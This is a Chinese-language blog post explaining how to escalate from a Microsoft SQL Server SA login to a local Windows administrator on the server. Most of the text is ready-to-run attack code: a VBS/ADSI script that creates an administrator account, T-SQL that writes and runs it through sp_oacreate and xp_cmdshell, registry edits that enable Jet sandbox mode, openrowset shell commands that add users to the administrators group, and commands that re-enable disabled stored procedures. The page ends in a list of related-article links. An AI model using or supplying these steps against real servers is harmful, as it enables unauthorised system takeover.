Microsoft SQL Server SA权限最新入侵方法
在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:
set wsnetwork=CreateObject("WSCRIPT.netWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:/1.vbs正被另一个程序运行”而无法成功添加用户:
exec master..xp_cmdshell 'cscript c:/1.vbs'
如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为:
exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")
>>1.vbs'
不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。
使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0
/Engines','SandBoxMode','REG_DWORD',1
然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/Windows
/system32/ias/ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/Windows
/system32/ias/ias.mdb','select shell("cmd.exe /c net localgroup
administrators test /add")')
不同的操作系统,路径也不一样,需要根据情况做修改:
NT/2K: c:/winnt/system32/
XP/2003: c:/windows/system32/
另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:
开启XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
开启'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp
Microsoft SQL Server SA权限最新入侵方法相关推荐
- 恢复 Microsoft SQL Server SA 密码的三种方法
如果您丢失了 SA 密码,您可能认为唯一的选择是重新安装 SQL Server 并重新附加所有用户数据库.只需在单用户模式下启动 SQL Server,您就可以使用 OSQL 命令轻松恢复 SA 密码 ...
- SQL Server SA权限总结
最近需要用到这些东西的时候,发现自己有点记不清了,这真是人老了做什么都不行了.没办法,只好在自己的blog上总结一下吧.使用Sqlexec加管理员的过程这里冰血就不涉及了. 前提需要工具:SQL Qu ...
- SQL Server SA权限总结(还是在冰血blog偷的)
最近需要用到这些东西的时候,发现自己有点记不清了,这真是人老了做什么都不行了.没办法,只好在自己的blog上总结一下吧.使用Sqlexec加管理员的过程这里冰血就不涉及了. 前提需要工具:SQL Qu ...
- 用户 'sa' 登录失败。 (Microsoft SQL Server,错误: 18456)
一.控制面板->服务->MS SQL SERVER->登陆-->本地系统帐户-->重新启动MS SQL SERVER 用windows验证登陆查询分析器-->执行 ...
- 解决Microsoft SQL Server 2005 安装失败方法
全程跟踪MSSQL 安装过程! 本方法收集了多种失败解决方法,有效解决了安装失败MSSQL的问题,甚至没有Microsoft SQL Server Management Studio Expree的问 ...
- Microsoft SQL Server,附加数据库 错误:Error 916解决方法
Microsoft SQL Server,附加数据库 错误:Error 916解决方法 参考文章: (1)Microsoft SQL Server,附加数据库 错误:Error 916解决方法 (2) ...
- [28000][Microsoft][SQL server native client 10.0][SQL server]用户‘sa’登录失败。(18456)
用native远程连接SQL server数据库提示:[28000][Microsoft][SQL server native client 10.0][SQL server]用户'sa'登录失败.( ...
- [转]Microsoft SQL Server 2005 整合、集成SP3方法
Microsoft SQL Server 2005 SP3 介绍及下载地址: 微软发布了SQL Server 2005 SP3的正式版,而这也将是该软件的最后一次升级服务.SQL Server 200 ...
- Microsoft SQL Server 2005 整合、集成SP3方法
Microsoft SQL Server 2005 SP3 介绍及下载地址: 微软发布了SQL Server 2005 SP3的正式版,而这也将是该软件的最后一次升级服务.SQL Server 200 ...
最新文章
- 调用微信高级群发接口--视频群发接口出问题(微信官方文档错误纠正)
- Php如何发出请求,PHP中如何发送HTTP请求?
- LightOJ-1028 Trailing Zeroes (I)---因子数目
- opencv4 python 版本_Opencv4 with Python3.6
- 在python中len表示的数据类型是_python基本数据类型学习
- 检测oracle的语句,oracle功能检测sql语句
- 外设驱动库开发笔记0:EPD总体设计
- 聊聊互联网秋招总结 经验分享
- Fiddler绕过前端直接和后台进行交互
- 实战HCNA1:华为设备快速记忆生成树的角色及选举规则,实施基本的VLAN间路由和基础的VRRP协议...
- maya多象限uv不显示_CG制作软件这么多,你都会哪些?
- 为什么C++静态static函数不能访问非静态成员
- mysql不记录binlog_MySQL不同的binlog_format会导致哪些SQL不会被记录
- 2018/06/30这段时间的随笔记忆:遇到概念模糊的js问题
- ENVI学习总结(一)——自定义坐标系
- 介绍一些房屋抗震的科普知识
- java 文件夹不存在则创建_java判断文件不存在就创建的方法
- PHP字符串函数strrchr(查找指定字符在字符串中的最后一次出现)
- TSP_旅行商问题 - 模拟退火算法(三)
- python中迭代_python中的迭代什么意思
热门文章
- 统计之都统计分析和R语言方面的图书
- 如何在Hadoop上编写MapReduce程序
- 实时SLAM的未来及与深度学习的比较The Future of Real-Time SLAM and “Deep Learning vs SLAM”
- [BetterExplained]遇到问题为什么应该自己动手
- 简书-一个集优雅文艺和Markdown于一身的网站
- 鸟哥的Linux私房菜(基础篇)- 第七章、Linux 文件与目录管理
- JAVA CXF、XFIRE、AXIS webservice获取客户端IP
- 中欧光伏“双反”案:何以平地起波澜?
- Open ROADS Community首次正式会议在新加坡顺利召开
- 使用VS2015远程GDB调试